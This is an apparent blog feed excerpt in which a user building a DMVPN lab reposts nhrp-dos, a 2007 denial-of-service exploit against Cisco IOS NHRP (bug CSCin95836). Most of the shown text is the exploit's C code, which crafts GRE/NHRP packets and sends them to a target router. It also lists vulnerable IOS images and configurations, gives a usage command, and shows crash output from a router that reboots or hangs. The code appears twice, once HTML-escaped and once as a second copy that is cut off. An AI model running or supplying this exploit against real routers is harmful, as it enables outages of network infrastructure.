&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.mpoa_ext &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x0034&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP MPOA ext */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.version  &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP version */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.type     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.nbma_addr&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP NBMA t/l addr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.nbma_sub &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP NBMA t/l sub */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP mandatory part */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.src_len   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP src proto len */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.dst_len   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP dst proto len */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.flags     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x8000&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP flags */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.request_id  &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htonl&lt;/span&gt;(nhrp_req_id); &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP request ID */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.client_nbma &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; src_ip;             &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client addr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.client_nbma_sub &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;              &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client sub  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.client_pro_addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;              &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client proto */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client information entries (CIE) */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.code       &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP code */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.pref_len   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFF&lt;/span&gt;;                 &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP prefix len */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.reserved   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0000&lt;/span&gt;;               &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP reserved */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.mtu        &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;1514&lt;/span&gt;);          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP mtu */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.holding_time &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;30&lt;/span&gt;);          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP holding time */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.len_client &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l client */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.len_client_sub &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l sub */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.len_client_pro &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l pro */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.preference &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP preference */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.ext        &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x8003&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP C/U/Type (ext)*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Copy the IPv4 header to the buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memcpy&lt;/span&gt;(buf, (&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ip_hdr, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(ip_hdr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Copy the GRE header to the buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memcpy&lt;/span&gt;(buf &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; IP_HDR_SIZE, (&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;gre_hdr, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(gre_hdr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Copy the NHRP header to the buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memcpy&lt;/span&gt;(buf &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; IP_HDR_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; GRE_SIZE, (&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;nhrp_hdr,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(nhrp_hdr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Fix some BSD bugs */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#ifdef _BSD
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iphdr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; ip &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) buf;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_len &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ntohs&lt;/span&gt;(iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_len);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_off &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ntohs&lt;/span&gt;(iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_off);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#endif
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memset&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;sin, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr_in));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sin.sin_family &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; AF_INET;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sin.sin_addr.s_addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_dst.s_addr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;nhrp-dos (c) by Martin Kluge &amp;lt;mk@elxsi.de&amp;gt;, 2007&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;------------------------------------------------&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Sending DoS packet...&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Send the packet */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bytes &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;sendto&lt;/span&gt;(fd, buf, IP_HDR_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; GRE_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; NHRP_HDR_SIZE, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;sin, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DONE (%d bytes)&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;, bytes);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Free the buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;free&lt;/span&gt;(buf);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Return number of bytes */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(bytes);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// milw0rm.com [2007-08-09]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;a href=&#34;https://www.deepreflect.net/wp-content/uploads/2009/09/NHRP_dos.c&#34;&gt;Download&lt;/a&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;m working on experimental wide lab network based on DMVPN/NBMA, with some friends, dynamic multipoing vpn is seem a great solution, looks like a cheap frame relay infrastructure over internet.</p>
<p>Now the problem: what about security?
especially in dynamical wan ip address envivorment durin spoke-spoke communication, is impossible define security rule on GRE level.</p>
<p>Solution:
I&rsquo;m thinking about&hellip;</p>
<p>Only for testing purpose, I find this exploit:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">/******************************************************************************/</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* nhrp-dos - Copyright by Martin Kluge, &lt;mk@elxsi.de&gt;                        */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Feel free to modify this code as you like, as long as you include the      */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* above copyright statement.                                                 */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Please use this code only to check your OWN cisco routers.                 */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Cisco bug ID: CSCin95836                                                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used  */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA)   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* subnetwork to determine the internetworking layer address and NBMA         */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* subnetwork addresses of the NBMA next hop towards the destination.         */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* IPSEC.                                                                     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* URLs:                                                                      */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* - [RFC2332/NHRP]       http://rfc.net/rfc2332.html                         */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* - [RFC1701/GRE]        http://rfc.net/rfc1701.html                         */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* - [DMVPNs with Cisco]  http://www.cisco.com/en/US/tech/tk583/tk372/techno  */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                        logies_white_paper09186a008018983e.shtml            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* This code was only tested on FreeBSD and Linux, no warranty is or will be  */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* provided.                                                                  */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Vulnerable images (tested):                                                */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  - c7100-jk9o3s-mz.123-12e.bin                                             */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  - c7200-jk8o3s-mz.122-40.bin                                              */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  - c3640-js-mz.122-15.T17.bin                                              */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* (and many other IOS versions on different platforms)                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Vulnerable configuration on cisco IOS:                                     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* interface Tunnel0                                                          */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip address 10.0.0.1 255.255.255.128                                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  no ip redirects                                                           */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  no ip proxy-arp                                                           */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip mtu 1464                                                               */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp authentication mysecret                                           */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp network-id 1000                                                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp map multicast dynamic                                             */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp server-only                                                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp holdtime 30                                                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  tunnel source FastEthernet0/0                                             */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  tunnel mode gre multipoint                                                */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  tunnel key 123456789                                                      */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* This exploit works even if &#34;ip nhrp authentication&#34; is configured on the   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* cisco router. You can also specify a GRE key (use 0 to disable this        */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* feature) if the GRE tunnel is protected. You don&#39;t need to know the        */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP network id (or any other configuration details, except the GRE key if */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* it is set on the target router).                                           */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NOTE: The exploit only seems to work, if a NHRP session between the target */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*       router and at least one client is established.                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Code injection is also possible (thanks to sky for pointing this out), but */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* it is not very easy and depends heavily on the IOS version / platform.     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Example:                                                                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789                               */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Router console output:                                                     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8          */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000                 */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* &lt;snip&gt;                                                                     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Cause 00000024 (Code 0x9): Breakpoint exception                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Writing crashinfo to bootflash:crashinfo_20070321-155011                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* === Flushing messages (16:50:12 CET Wed Mar 21 2007) ===                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Router reboots or sometimes hangs ;)                                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Workaround: Disable NHRP ;)                                                */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* I&#39;d like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* regarding this issue.                                                      */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                   xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                   and #infiniteVOID                                        */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/******************************************************************************/</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;string.h&gt;</span><span style="color:#75715e">
